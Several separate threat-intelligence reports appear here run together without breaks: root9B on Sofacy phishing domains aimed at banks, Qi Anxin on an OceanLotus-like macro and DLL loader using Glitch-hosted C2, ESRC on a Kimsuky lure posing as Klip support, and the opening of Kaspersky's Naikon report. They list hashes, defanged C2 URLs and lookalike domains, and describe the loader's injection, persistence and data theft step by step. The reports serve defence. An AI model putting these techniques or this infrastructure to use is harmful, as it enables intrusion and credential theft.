Well known for their ability to infiltrate and remain undiscovered in networks for long periods of time, they may be the most successful group of hackers in the world.
Whereas previous attacks have been attributed and analyzed only after they have run their course, this was the first and only known Sofacy attack to be discovered, identified, and reported  all before it could even begin  The analysts and tools that enabled this to happen are unique and proprietary.
This report documents the first ever operation to use threat intelligence and adversary tactics to discover and reveal the prepositioning of Sofacy zero-day malware.
This document also includes the reporting of previously unknown malware  indicators and hashes.
The Threat Russian President Vladimir Putin recently described the Internet as an invention of the CIA.
But the group most widely associated with his government dominates the world of industrial scale hacking.
First discovered circa 2007 using security vulnerabilities in Microsoft Windows, Sofacy has gone on to develop and launch truly enormous attacks exploiting numerous applications including Adobes Acrobat, Microsoft Excel, and others.
Some attacks have focused on the sorts of targets that seem likely to be of interest to Russian intelligence services.
NATO, defense industry corporations, and government domains of states opposed to Russia on various issues have all been, at times, victims of Sofacy.
At other times large banks and private corporations have been hit hard by Sofacy exploits, at a cost of hundreds of millions to the victims.
Sofacys choice of targets has historically been an interesting mixture that has fueled an ongoing debate over whether the group is criminal in nature, or actually an agent of a nation-state.
Most cybersecurity analysts have concluded that the groups affiliation with the Russian government is undeniable.
But there are detractors.
Those who argue loudest against such assertions cite Sofacys prolific criminal profit as evidence that they are most likely not agents of the Federal Security Service (FSB) while others suppose that the crimes committed bearing The Defenders Started in 2012 and staffed almost entirely by former United States Department of Defense civilians and military cyber-warriors, root9B brings a unique base of knowledge and experience to the task of securing corporate networks.
This comes at a time when the demand for services is stronger than ever and increasing daily.
Calling on years of collective experience in positions that placed their analysts at the tip of the cyber-spear, root9B has developed a unique approach to the problem of cyber-defense.
Understanding that the present tools are failing at an alarming rate, they have developed methods and software applications which seek to augment, rather than replace, existing cyber-security defenses.
The problem is not that traditional methods do not work.
It is that hackers are becoming increasingly sophisticated and able to generate new threats faster than ever before.
Standard network security systems typically fail against what are known as zero-day threats.
Zero-day is a term that refers to a new kind of hacking exploit that has never been seen before, and is therefore not detected by standard virus and intrusion detection software.
Typically, such threats take an alarmingly long time to detect and eliminate, often more than a year.
They were once relatively rare, because it takes a high degree of skill to develop and exploit them.
The production and sale on the black market has increased exponentially in recent years, developing into a criminal industry that is placing online commerce, as well as national security, at growing risk.
In the time between deployment of a zero-day and its eventual discovery and eradication, corporations can suffer enormous losses without even realizing that the threat was ever there.
To combat threats, root9B realized that technology is not the problem.
Computers dont attack networks.
People do, said root9B.
You cannot build a better system to stop a determined human, you must think like the attacker and provide manned cyber defense operations as the new adaptive security posture.
root9B operators and software developers designed APT-28 4 root9b.com May 10, 2015 root9B: The Threat Defiance Report and constructed proprietary methods of discovering and dealing with adversaries.
With a network defense strategy of pursuit and deterrence in mind, root9B operators conduct Active Adversary Pursuit (HUNT) operations as a tailored solution for cyber security teams.
Working in concert with traditional network defense appliances that currently reside in our clients proprietary network, root9Bs HUNT platform delivers a pro-active defense protection capability to identify, pursue, and mitigate cyber threats.
This approach was developed by root9B in order to leverage previously existing security products with client-specific threat intelligence and proprietary capabilities that can identify sophisticated vulnerabilities, generate actionable intelligence, and install solutions with much greater speed and efficiency.
Winning In Advance During the end of April 2015, root9B analysts were conducting routine security analysis to explore and discover new and emerging cyber threats.
Threat Analysts discovered what appeared to be a targeted spearfishing domain aimed at a financial institution.
The server it was found on raised even more questions, because although security experts knew the server as a bad actor, it was generally associated with malware used in nation state attacks.
As analysts continued their work they discovered several more pieces of  new malware.
The malicious code bore specific signatures that have historically been unique to only one organization, Sofacy.
This malware was pointing at a spearfishing domain registered to impersonate a Middle Eastern financial institution and the domain registration details did not match normal Sofacy operational signatures.
That said, the malicious software certainly did.
Members of root9Bs operations team conducted HUNT operations, remotely deploying their live memory capability across the clients proprietary networks to analyze known techniques that can evade the most efficient security products on the market.
root9Bs capability parses live memory while the system is running and looks for indicators of advanced tactics such as code injection or security product bypassing.
Using a combination of standard industry tools and proprietary techniques our analysts began to develop a larger picture of what was taking place.
Immediately, root9B identified that preparations were being made for a larger scale attack similar to previous Sofacy attributed exploits, and the attack was still in the preparatory stages.
To our analysts, this was a rare opportunity.
It is rare enough to learn of an attack of this potential magnitude in advance, but to have all of the information necessary to stop it before it begins is unprecedented, said an unnamed root9B analyst.
Evidence of intrusion within client networks pointed to a specific server, CARBON2U.COM, that had been previously linked to malicious activity and identified by other security firms as part of the infrastructure utilized by the Sofacy group.
Analysts studied the remaining domains registered on that server, and initially noted that one in particular, CBIUAEBANK.
APT-28 5 root9b.com May 10, 2015 COM, appeared to be a fake version of CBIUAE.COM, the actual domain of the website of Commercial Bank International of the United Arab Emirates.
Further analysis lead to even more suspicion, and those suspicions grew even stronger as they watched another comparable domain created, CBIUAEBN.
COM.
As analysts passively monitored CARBON2U.
COM, they observed as the apparent fake domains they were monitoring migrated to other servers first to SITE4NOW.NET and later to OK2HOST.COM.
This gave analysts two more suspicious servers to study, and added considerable data analysis.
root9B analysts began to dissect the data at hand to identify common tactics, techniques, and procedures used by the adversaries which could provide further information about the planned hack, including information about potential attack vectors.
As root9B analyzed increasing amounts of metadata and associated indicators, they were able to identify a very unique signature consistently used by someone involved in setting up the hack.
Investigating the apparently fictitious list of personas used to create and register domains, a pattern emerged.
Due to the nature of this unique signature, root9B is in the process of further documenting and reporting to the proper authorities.
The discovery of the hackers single mistake in tradecraft was indeed a powerful catalyst, and lead to the discovery of a treasure trove of new indicators.
The new discoveries included evidence related to past attempts to launch attacks against many of the same targets, including the aforementioned Commercial Bank International.
What the analysts eventually had was a very detailed view of the specific tactics employed by this adversary and a window into a plan for a hack that was even larger than originally believed, much larger.
Where initially they had only a single fake domain pointed at CBI, now there were six additional domains, all used to target this single victim.
Many of the fake domains appeared to have been created by several of the same accounts, and open source analysis indicated that the names listed for the root9B: The Threat Defiance Report APT-28 6 root9b.com May 10, 2015 person registering the addresses was clearly fictitious probably chosen at random from the Internet.
The analysts at root9B understand better than anyone the significance of this analysis.
As far as any of them know, and it stands to reason that they would, there has never been a case of a large-scale attack utilizing numerous zero-day exploits that were so thoroughly mapped in advance before.
The analysts who worked this case now understand that the attackers began preparations for this campaign in June 2014, a full eleven months ago.
The design of the hack bears striking similarity to the very exploits that have made Sofacy so feared and respected.
At least nine months of meticulous preparation coupled with one slip of tradecraft has enabled root9B to inform potential targets prior to the execution of the strategy.
With the exception of CBIUAEONLINE.COM, there are numerous consistencies amongst the tactics employed by the hackers.
The group generates what are likely fictitious personalities as the owners of each of the fake domains.
All of the fictitious personalities list the same street address.
While they change names and house numbers for them, they all reside on Cloverdale Lane in DeSoto, Texas.
Analysts noting the similarity did not have to visit the street to determine that it was unlikely that they each resided in different homes on the same street.
In fact, even the house numbers changed only slightly from one domain to the other.
In addition to the links between the addresses, streets, and names, they found that the registrant phone numbers were also very closely related.
The only differences in registrant data from one domain to the next involved very slight modifications to the country codes or by changing the third digit.
This kind of flaw in tradecraft allowed for further detailed network analysis.
Further analysis of the street addresses enabled root9B to correlate the address and personas listed as registrants via public records,  doing so showed that most of these addresses did not even exist, and the few addresses confirmed to physically exist did not have residents with the names listed.
This became a key signature of the hackers a common thread which unraveled all of Sofacys careful preparation.
Often those wanting to generate a free and anonymous email address will use a false name and address in order to conceal and preserve their true identity.
The information below dictates open source research on the adversarys creation of domains.
As previously noted, root9B is in the process of further documenting and reporting probable fictitious personas to the authorities.
DOMAIN: CBIBUAE.COM Created:2014-06-14 Nameserver:nvhserver.com DOMAIN: CBIUAEONLINE.COM Created:2014-06-24 Updated:2014-07-03 Nameserver:aspnix.com (suspended-domain) DOMAIN: ROYALBSUK.COM Created:2014-07-02 Updated:2014-07-06 Nameserver:(suspended-domain) root9B: The Threat Defiance Report APT-28 7 root9b.com May 10, 2015 domains closely resembling financial institutions.
By studying the new persona, root9B discovered they had previously created several domains and websites, all of which have been flagged as Fake Financial Institutions by security analysts.
Also identified during this analysis, was the prepositioning of a domain targeting the financial institution B-OF- AMERIC.COM, created in April 2015.
This indicates that Bank of America, is among the probable targets.
This same individual has registered numerous other fake domains on many more name servers.
One of these name servers, BULKBREAKERS.COM, contains several other international financial institutions.
One of those domains, T-D-CANADATRUST.COM, was updatedon23March2015,andappearstobetargeting Toronto Dominion (TD) Canada Trust.
Among the apparent targets of other domains similarly created or updated in 2015 are: the United Nations, United Nations Childrens Fund, United Bank for Africa, Regions Bank, and possibly Commerzbank.
While root9Bs discovery began with servicing their own customers, their analysis has revealed an adversary pattern that has enabled the identification of previously unknown target vectors.
As root9B analysts continued to peel back the layers, it became more apparent, that this attack was likely associated with Russian intelligence.
The targets included multiple major financial institutions, as well as the international government domain.
In addition to identifying targets, root9B analysts also discovered indicators of malware, the analysis of which revealed several zero-day threats and their corresponding hashes.
Each new discovery revealed more information, enabling a more complete picture to emerge.
root9B discovered and analyzed numerous other domains being staged or recently created for the malicious cyber operation.
Also  discovered was a fatal flaw in the hackers tradecraft that lead to a major breakthrough.
Research based on the adversarys flaw in tactics showed that there was a strong likelihood of two distinct subgroups, each of which utilized unique DOMAIN: CIBUAEONLINE.COM Created:2014-11-27 Updated:2014-01-27 Nameserver:hostzeal.com DOMAIN: CIBUAEONLINEBN.COM Created:2014-11-28 Updated:2014-01-27 Nameserver:site4now.net DOMAIN: CBIUAEONLINE.COM Created:2014-12-10 Updated:2014-02-08 Nameserver:ok2host.com DOMAIN: CBIUAEBANK.COM Created:2015-04-29 Updated:2015-05-02 Nameserver:site4now.net DOMAIN: CBIUAEBN.COM Created:2015-04-29 Updated:2015-05-03 Nameserver:ok2host.com Correlating the increasing amounts of information, root9B analysts have determined that the adversary responsible for the initial attack in June 2014 was almost certainly the same, or very closely-related to the entity responsible for creating at least two of the domains in April 2015.
The same person was ostensibly responsible for registering the two most recent domains (CBIUAEBN.COM and CBIUAEBANK.
COM).
Analysts from root9B now believe that the adversary most likely selected this name through an internet search, and that these personas, while possibly real names, are not the true names of those individuals associated with the preparations for this attack.
root9B analysts have also identified an additional persona one that did not appear to directly relate to this attack against CBI UAE Bank, but that carried similar operational tactics to include comparable street address schemes and the registration of root9B: The Threat Defiance Report Results APT-28 8 root9b.com May 10, 2015 methods of cover for their activity.
Each of the two groups also had a unique theme to their target sets.
The first seemed to focus on military, diplomatic, and media targets, and relied on the cover of proxies and private domain registrations.
As documented earlier, the other group used deliberately falsified personalities, all of which claimed to be American citizens, and focused on financial and banking targets.
Understanding the scope of the newly staged malicious operations, root9B also tipped the information to the appropriate international and domestic government authorities.
While the continued vector of the attack remains unclear, root9B assesses that it will most likely be a spear-phishing campaign.
This attack vector will likely use a well-crafted email containing either a malicious file or web hyperlink to what recipients believe is the actual website but is instead a fake landing page.
In typical attacks of this nature, once users navigate to the link, visitors are prompted to supply account credentials and personal information under the false assumption that they are communicating with their bank via a secure link.
However, it is possible, that the Sofacy group could utilize this server as a vector to deliver malicious code to the banking victims in an attempt to obtain access to the network.
As of October 2014, the Symantec Corporation had reported an increased use of spear-phishing emails containing malware specifically targeted against financial institutions.
According to their conclusions, root9B analysts expect that spear-phishing attacks will begin in the near future, or may have already commenced.
As root9B continues to work with authorities it is recommended that the aforementioned financial institutions take caution examining any and all correspondence.
In addition, it is recommended that networks begin blocking the following hashes and communications with the identified Command and Control (C2) server: Malware SHA1 Hash 0450aaf8ed309ca6baf303837701b5b23aac6f05 bb909d9c27a509bf97cdc85268556ff5a6d2550a f325970fd24bb088f1befdae5788152329e26bf3 a351842ee01374d66bae35354ffe72f0b1b8a40b Command and Control (C2) Server: 176.31.112.10 root9B: The Threat Defiance Report APT-28 9 root9b.com May 10, 2015 root9B: The Threat Defiance Report Interesting samples of over 250 identified malicious domains: b-of-americ.com osce-military.org bbcnewsweek.com qov.hu.com settings-yahoo.com yovtube.co googlesetting.com cbiuaebn.com cbiuaebank.com techcruncln.com un-unicef.org royalbsuk.com kwqx.us middle-eastreview.org unitednat.org fbonlinelottery.com fubnt.com globeshippers.biz globeshippers.net gsandsc.com gshippers.com hesselawchambers.com largefarm.net regionsbnk.info seatreasures.org ssandsc.com t-d-canadatrust.com techielawfirms.com togounoffice.com ubagroupsgh.com un-unicef.org unicomba.com universalcoba.com Some domains may have been previously reported as associated with the Sofacy Group.
It is root9Bs opinion that new information regarding cybercrime targeting banks makes this information relevant.
APT-28 10root9b.com May 10, 2015 Footnotes: ihttp://www.newsweek.com/2015/05/15/russias-greatest-weapon-may-be-its-hackers-328864.html iihttp://www.bloomberg.com/politics/articles/2014-10-30/security-firms-tie-russian-government-to- utilities-hacks iii     http://www.theguardian.com/world/2014/apr/24/vladimir-putin-web-breakup-internet-cia ivhttp://www.bloomberg.com/politics/articles/2014-10-30/security-firms-tie-russian-government- to-utilities-hacks root9B: The Threat Defiance Report
1/20 False flag or upgrade?
Suspected sea lotus uses the Glitch platform to reproduce the attack sample mp.weixin.qq.com/s/1L7o1C-aGlMBAXzHqR9udA Original Red Raindrop Team Qi Anxin Threat Intelligence Center 2022-01-20 02:01 Included in the topic APT 52 Overview The Qianxin Red Raindrop team continues to pay attention to the attack activities of global APT organizations, including the OceanLotus APT organization.
Recently, a foreign manufacturer Netskope released an analysis report on mht format files (Web archive files) implanted into malware by carrying Office macros  , because the attack methods used by the samples mentioned are similar to those of OceanLotus.
The report believes that the attack was carried out by the Ocean Lotus organization.
After in-depth analysis of such samples by the researchers of the Red Raindrop team, it was found that there are some characteristics in the attack process that are different from the previous attacks of Ocean Lotus.
Therefore, the possibility of other attack groups imitating Ocean Lotus cannot be ruled out.
Based on the existing public information, the specific identity of the gang behind the attack cannot be determined for the time being.
In addition, we noticed that such samples use the Glitch platform to deliver subsequent malware, and further found that they are in the same vein as the attack samples disclosed by Qianxin Threat Intelligence Center in December last year  .
This article will deeply analyze the samples involved in this attack, sort out other associated attacks, compare with the historical attack methods of OceanLotus, and summarize the similarities and unique characteristics of the attacks.
Such attack samples have the following characteristics: 1.
The macro code will release 32-bit or 64-bit malicious DLL according to the system version, and a piece of random data will be inserted when releasing the malicious DLL 2.
Both the macro code and malicious DLL are obfuscated 3.
The malicious DLL transmits the collected information back to the C2 service hosted by the Glitch platform, and then downloads the 7z-compressed subsequent malware and executes it.
Sample information [1] [2] https://mp.weixin.qq.com/s/1L7o1C-aGlMBAXzHqR9udA javascript:void(0) 2/20 The collected attack sample information is as follows MD5 file type file name 0ee738b3837bebb5ce93be890a196d3e RAR HS.rar 11d36c3b57d63ed9e2e91495dcda3655 RAR Tai_lieu.rar 204cb61fce8fc4ac912dcb3bcef910ad RAR TL-3525.rar a7a30d88c84ff7abe373fa41c9f52422 RAR Note.rar b1475bdbe04659e62f3c94bfb4571394 RAR CV.rar b2eb3785e26c5f064b7d0c58bdd3abe0 RAR List Product.rar d8fa458192539d848ee7bb171ebed6bd RAR GiftProducts.rar e7ce1874ab781c7a14019b6a6e206749 RAR PaymentRequest.rar eb6cf9da476c821f4871905547e6a2b4 RAR DeliveryInformation.rar f5ea39b70f747e34ae024308298f70ac RAR Document.rar f8d30c45ed9d3c71ec0f8176ddd7fd8f RAR Gift Products.rar The names of the collected attack samples are basically in English, only Tai_lieu.rar is Vietnamese, which means file.
The RAR file contains mht files that carry Office macros.
The sample execution flow is as follows.
3/20 Detailed analysis Take the sample 11d36c3b57d63ed9e2e91495dcda3655 as an example for analysis.
file name Tai_lieu.rar MD5 11d36c3b57d63ed9e2e91495dcda3655 file type RAR RAR contains a mht format file Tailieu.doc with the same name as RAR, which will prompt the victim to enable macros when opened.
4/20 Enabling the macro will open Document.doc with no specific content, just an error message to confuse the victim.
VBA After VBA is obfuscated, in addition to name obfuscation, it also uses Chr function to concatenate key strings, and uses mixed operations of hexadecimal, octal and decimal to obtain constant numbers.
5/20 After enabling the macro, first determine whether it is VBA7 and whether the system version is 64-bit, and save the judgment result in the global variable hPY42J6w.
Create a directory ProgramData\Microsoft Outlook Sync, and copy the original guest.bmp file in the system to the new directory to save the malicious DLL that will be released next.
6/20 Call the function kPW1Jdp7d4eP95n to release the doc file and dll file saved at the end of the mht file.
The file data spliced   at the end of the mht file are 32-bit dll, 64-bit dll and doc files in sequence.
The file release sequence is from back to front, so the end of each file data will be followed by a 4-byte data to mark the length of the file data, which can be used to locate the starting position of the file data when releasing.
7/20 The hPY42J6w variable that previously saved the machine version judgment result determines which files are released: if the variable is 1, the file release operation will be performed when the variable v2yHmJl5EO064cV is 0 and 2, and the doc file and 32-bit dll will be released at this time otherwise, if hPY42J6w If it is 2, the doc file and 64-bit dll are released.
The doc file and dll file data spliced   at the end of the mht file are not encrypted or encoded, but the way of saving and releasing the dll file data is special.
Doc file data is stored in the file in its complete form and extracted directly upon release.
Dll file data is saved in the following form: first two 4-byte data, and then the dll file removes the remaining data of the first two bytes (ie 0x4D5A) as the magic number of the PE file.
Therefore, the length of the file data saved in mht will be 6 bytes larger than the original file length.
When the Dll file data is released, it first reads 2 placeholders from mht for subsequent repair of the DOS header and removes the remaining original file data of 0x4D5A.
Then insert a piece of random data into the read data for expansion processing.
The position and length of the inserted data are determined by the two 4-byte data mentioned above.
Finally, save the obtained data in the guest.bmp file in the ProgramData\Microsoft Outlook Sync directory.
Then the macro code copies the guest.bmp that saves the data of the dll file to background.dll, changes the first two bytes of the file to MZ, thereby repairs the DOS header, calls the OpenProfile function of background.dll, and deletes the guest.bmp file .
8/20 Finally set the opened mht file attribute to system hidden, then close the file.
Freed DLL The functions of the 32-bit and 64-bit dll released by VBA macros are the same, because a random data will be inserted when the dll file is released, so the hash value of the dll file is not fixed.
file name background.dll MD5 fca9347b37c737930d0aaa976c3e234b (not fixed) file type Win32 DLLs File size 23712256 bytes The released dll file instructions are obfuscated, and there are two export functions, the function names are OpenProfile and SaveProfile.
The functions of the two functions are to achieve persistence by setting scheduled tasks, and to inject subsequent payloads into remote puppet process execution.
The DllMain function of Backgroud.dll stores the key strings and other parameters used by the exported function in global variables.
9/20 The OpenProfile function is called by VBA, which sets up a scheduled task through a COM object to run another exported function of the dll, SaveProfile.
SaveProfile injects the PE file embedded in the dll into the remote puppet process.
The command to create the remote process is rundll32.exe kernel32.dll,Sleep.
10/20 The offset of the address pointed to by the instruction register in the remote thread register context from the starting address of the memory where the injected data is stored is 0x44C20.
After the PE injected into the memory is dumped, the only exported function is the location in the disk file.
11/20 DLL injected into memory file name - MD5 9fd6ae7e608b3b7421f55b73f94b4861 file type Win32 DLLs File size 717824 bytes The released 32-bit dll and the 64-bit dll injected into the remote process are both 32-bit, with the same file size and the same function.
The DLL is injected into memory as an unmapped file, and the only exported function of this DLL is to load itself reflectively in memory.
After allocating memory to load the dll itself, the export function executes the DllMain function twice, and the second parameter of DllMain is 1 and 4, respectively.
Malicious behavior in the Dll is only triggered when the parameter is 4.
12/20 Like background.dll, key strings and other configuration data are first saved in global variables.
Create a subdirectory named Microsoft Edge Download in the C:\ProgramData directory to collect host information, including the MAC address of the network card, user name, host name, all current process names, and file and subdirectory names in the ProgramData directory.
13/20 The collected information is encrypted and sent back to the C2 service hosted by the Glitch platform in a POST request.
The return URL is hxxps://elemental-future- cheetah.glitch.me/afe92a2bd2P .
Then get the follow-up from the C2 with a GET request, and the follow-up payload is transmitted as a 7z compressed file.
Get the subsequent URL as hxxps://elemental-future- cheetah.glitch.me/afe92a2bd2D.
Subsequent payloads are saved in C:\ProgramData\Microsoft Edge Download\properties.bin.
The malware in the 7z archive is decompressed and saved in the C:\ProgramData\Microsoft Edge Download directory.
The subsequent payload is executed by setting a scheduled task through the COM object, and the persistence of subsequent malware is achieved at the same time.
The name of the scheduled task is Chrome Update.
14/20 Since C2 is currently inaccessible, subsequent malware cannot be obtained for analysis.
Use the calculator program (calc.exe) in the system to simulate the acquired subsequent loads to display the set scheduled tasks.
The dll also has a feature that uses GetCurrentThread/ GetCurrentProcess and WaitForSingleObject instead of Sleep to perform hibernation operations.
activity association early samples 15/20 The earliest such attack samples can be traced back to August 2021.
The early sample information is as follows: MD5 file type file name VT upload time 6d0ab5f4586166ac3600863bc9ac493e Win32 DLLs 2zofrncu.dll 2021/08/23 12:52:31 UTC 0bd0f1dd8b03c11b3d59da2c5fba2e45 Win32 DLLs mslog.dll 2021/08/26 03:55:13 UTC cc4a9d5248095e64c1f22e8a439416cc Win64 DLLs mslog64.bin 2021/08/26 03:57:57 UTC mslog.dll and mslog64.bin correspond to the 32-bit dll and 64-bit dll released in the aforementioned attack process, respectively.
2zofrncu.dll is the PE that mslog.dll injects into the remote process.
The structure and operation process of the three samples are the same as the dll samples involved in this attack.
The relevant URLs are as follows: URL Function hxxps://immense-plastic-pullover.glitch.me/T812P Return collected information hxxps://immense-plastic-pullover.glitch.me/T812D download follow-up It is worth noting that the PE injected into the memory during the entire attack process does not land on the disk, but the sample 2zofrncu.dll uploads VT earlier than its superior sample mslog.dll.
Furthermore, all three samples uploaded VT from Vietnam by the same uploader.
Combining the above information, we guess that these three samples may be early test samples.
Previously disclosed attack samples The samples involved in this attack are strongly related to the attack samples  disclosed by the Qi Anxin Threat Intelligence Center in December last year , and can be considered to be from the same attack group.
The first is a misinformation document with the same content used in both campaigns.
[
2] 16/20 Then the code obfuscation method used by the malicious dll is the same, and the running process is the same: (1) A subdirectory with a name related to Microsoft will be created in the C:\ProgramData directory (2) Collect host information, encrypt it and send it back to the C2 service program hosted on the Glitch platform as a POST request.
The returned URL format is hxxps://[xxx]-[xxx]- [xxx].glitch.me /[xxx]P (3) Then obtain the subsequent payload compressed by 7z from C2 and execute it.
The subsequent URL format is hxxps://[xxx]-[xxx]-[xxx].glitch.me/[xxx]D. Comparison with the historical attack method of Ocean Lotus The attack sample uses some historical attack methods of OceanLotus.
OceanLotus has used mht files carrying malicious macros to release the KerrDown downloader  in the past attacks .
Similarly, the malicious macros will choose to release 32-bit dll or 64-bit dll according to the system version.
The dll used as the KerrDown downloader also uses pictures The suffix of the format file is saved on disk.
In addition, the instruction obfuscation method used by the malicious dll involved in this batch of attack samples is similar to that of Ocean Lotus, and the reflective loading method is also used to load the PE in the memory during the sample execution process.
The differences from the previous attacks of Ocean Lotus are: (1) The file name of the error message displayed by the sample is inconsistent with the original mht file name, and it is impossible to determine whether the attacker is negligent or deliberate.
And the file data to be released is directly spliced   at the end of the mht file without encryption or encoding processing.
OceanLotus often saves the file data to be released in an encrypted or encoded form.
[
3] 17/20 (2) The reflection loading method used by the sample is different from that of the sea lotus tissue.
OceanLotus often uses shellcode as the loader for reflective loading of PE, and this batch of attack samples uses the exported function of the loaded dll as the loader.
The above differences may be due to either the Ocean Lotus group trying new attack methods, or the attack activities carried out by other groups.
Due to the lack of pertinence in the sample name, the C2 service is hosted on the public platform Glitch, and the URL fails to obtain subsequent malware.
At present, the specific identity of the attacker cannot be clearly identified, and further clues and information are to be discovered later.
Summarize This type of attack sample uses malicious macros carried by mht files to implant malicious software on the victim host.
The methods used in the attack process are similar to those of the OceanLotus organization, but there are also some characteristics that are different from the historical attack activities of OceanLotus.
Although it cannot be attributed to a specific attack group for the time being, by sorting out a series of related attack activities, it can be found that the attackers behind them are constantly improving their attack methods and updating attack weapons.
No domestic users have been affected by this attack, but precautions are essential.
The Qianxin Red Raindrop team reminds users not to open links of unknown origin shared on social media, not to click and execute email attachments from unknown sources, not to run unknown files with exaggerated titles, and not to install apps from informal sources.
Do timely backup of important files, update and install patches.
If you need to run and install applications of unknown origin, you can first use the Qianxin threat intelligence file in-depth analysis platform (https://sandbox.ti.qianxin.com/sandbox/page) to determine.
Currently, it supports in- depth analysis of files in various formats including Windows and Android platforms.
At present, the full line of products based on the threat intelligence data of Qianxin Threat Intelligence Center, including Qianxin Threat Intelligence Platform (TIP), Tianqing, Tianyan Advanced Threat Detection System, Qianxin NGSOC, Qianxin Situational Awareness, etc.,
have already supported this Accurate detection of class attacks.
18/20 IOCs MD5 0ee738b3837bebb5ce93be890a196d3e 11d36c3b57d63ed9e2e91495dcda3655 204cb61fce8fc4ac912dcb3bcef910ad a7a30d88c84ff7abe373fa41c9f52422 b1475bdbe04659e62f3c94bfb4571394 b2eb3785e26c5f064b7d0c58bdd3abe0 d8fa458192539d848ee7bb171ebed6bd e7ce1874ab781c7a14019b6a6e206749 eb6cf9da476c821f4871905547e6a2b4 f5ea39b70f747e34ae024308298f70ac f8d30c45ed9d3c71ec0f8176ddd7fd8f 6d0ab5f4586166ac3600863bc9ac493e 0bd0f1dd8b03c11b3d59da2c5fba2e45 19/20 cc4a9d5248095e64c1f22e8a439416cc URL hxxps://elemental-future-cheetah.glitch.me/afe92a2bd2D hxxps://elemental-future-cheetah.glitch.me/afe92a2bd2P hxxps://elemental-future-cheetah.glitch.me/559084b660P hxxps://elemental-future-cheetah.glitch.me/02d9169d60D hxxps://elemental-future-cheetah.glitch.me/02d9169d60P hxxps://confusion-cerulean-samba.glitch.me/e1db93941c hxxps://confusion-cerulean-samba.glitch.me/0627f41878D hxxps://confusion-cerulean-samba.glitch.me/0627f41878P hxxps://confusion-cerulean-samba.glitch.me/192f188023 hxxps://confusion-cerulean-samba.glitch.me/2e06bb0ce9 hxxps://confusion-cerulean-samba.glitch.me/55da2c2031 hxxps://torpid-resisted-sugar.glitch.me/fb3b5e76b4D hxxps://torpid-resisted-sugar.glitch.me/fb3b5e76b4P hxxps://torpid-resisted-sugar.glitch.me/83a57b42f1D hxxps://torpid-resisted-sugar.glitch.me/83a57b42f1P hxxps://torpid-resisted-sugar.glitch.me/5db81501e9P hxxps://immense-plastic-pullover.glitch.me/T812D hxxps://immense-plastic-pullover.glitch.me/T812P Reference link [1] https://www.netskope.com/blog/abusing-microsoft-office-using-malicious-web-archive- files 20/20 [2] https://ti.qianxin.com/blog/articles/Obfuscation-techniques-similar-to-OceanLotus/ [3] https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/
1/5 February 16, 2022 North Korea-linked APT attack found disguised as a digital asset wallet service customer center blog.alyac.co.kr/4501 Detailed content body title North Korea-linked APT attack found disguised as a digital asset wallet service customer center Malware analysis report by pill 4 2022.
2.
16.
14:55 main text Hello?
This is the East Security Security Response Center (ESRC).
A malicious file disguised as the Klip customer center was recently discovered, and users need to be extra careful.
https://blog.alyac.co.kr/4501 https://blog.alyac.co.kr/category/EC9585EC84B1ECBD94EB939C20EBB684EC849D20EBA6ACED8FACED8AB8 2/5 Klip is a digital asset wallet service developed by Ground X, a blockchain-related subsidiary of Kakao.
The file found this time was distributed under the file name [Klip Customer Center] Mistransmission_Token Resolution_Guide.doc.
[
Figure 1] Screen inducing users to click the content use button The file contains malicious macros, convincing users to click the Enable Content button, claiming that the document is protected.
If the user clicks the use content button, it is written like a file sent from the actual Klip customer center, causing the user to mistake it for a real normal file.
3/5 [Figure 2] Klip customer center camouflage file However, that file contains the macro code, and the macro runs in the background.
4/5 [Figure 3] Macros included in malicious files When the macro is executed, the file is dropped in xml format, and the dropped file is automatically executed and then attempts to connect to the CC.
[
Figure 4] xml file dropped after macro execution However, at the time of analysis, access to the CC server was not possible, so further analysis was not possible.
5/5 This threat has been identified as an extension of the Smoke Screen campaign, which is one of the three major threats of Thallium (also known as Kimsuky).
IoC hxxp://asenal.medianewsonline[.
]com/good/luck/flavor/list.php?query1 hxxp://asenal.medianewsonline[.
]com/good/luck/flavor/show.php Currently, the pill is being detected as Trojan.
Downloader.
DOC.Gen .
Attributionnon-profitchange prohibited https://creativecommons.org/licenses/by-nc-nd/4.0/deed.ko
THE MsnMM CAMPAIGNS The Earliest Naikon APT Campaigns Kurt Baumgartner, Maxim Golovkin May, 2015 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White2 For full indicator and other details, please contact intelreportskaspersky.com CONTENTS INTRODUCTION ............................................................................................................3 SHARED EXPLOIT GENERATION KIT ..........................................................................5 SHARED STRINGS, FUNCTIONALITY, TARGETS, AND INFRASTRUCTURE ACROSS CAMPAIGNS ........................................................6 Similar strings .......................................................................................................6 Shared infrastructure ..........................................................................................7 Correlating Target Profiles with spear-phish and Decoy Content ...........7 NAIKON APT MSNMM CAMPAIGN BACKDOORS ANDLATERAL MOVEMENTTOOLSET ......................................................................11 SslMM  .................................................................................................................. 11 WinMM .................................................................................................................13 exe_exchange (used inattacks prior to 2012) ..........................................14 INJECTv1/INJECTRESOURCE .........................................................................14 The xsPlus/nokian backdoor and keylogger ................................................14 NAIKON AND MINOR LINKS WITH APT30 ..............................................................15 Sys10  ...................................................................................................................16 WininetMM/Sakto .............................................................................................. 17 SECOND STAGE TOOLS ..............................................................................................18 CUSTOM HDOOR  .......................................................................................................19 TARGET AND VICTIM PROFILES ...............................................................................21 SPEAR-PHISH, DROPPED FILES, WEBBROWSER INJECTION ........................... 22 APPENDIX A: MsnMM SPEAR-PHISH ANDDECOY CONTENT ........................... 28 winMM-related Dropped Decoy Documents ..............................................32 APPENDIX B: KASPERSKY LAB VERDICT NAMES .................................................. 43 APPENDIX C: MD5 REFERENCE SET ........................................................................ 46 SslMM .................................................................................................................. 46 WinMM ................................................................................................................ 46 WininetMM/Sakto ............................................................................................. 46 Injectv1/InjectResource ................................................................................... 46 Exe_Exchange ................................................................................................... 46 Sys10 .................................................................................................................... 46 xsPlus (nokian) and plugin ...............................................................................47 APPENDIX D: C2 (DOMAIN) REFERENCE SET ........................................................ 48 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White3 For full indicator and other details, please contact intelreportskaspersky.com INTRODUCTION Over time, theNaikon APT appears to have used specific toolsets against organizations within adesignated country, as though each campaign was focused onone country.
There issometimes crossover between campaigns inseveral ways: thebackdoors they deliver, theinfiltration techniques, and theoverall infrastructure.
Backdoor functionality can also cross campaigns and tools.
For example, sometimes we see an inject variant dropping asys10 backdoor.
Or anaikon backdoor dropping ararstone backdoor.
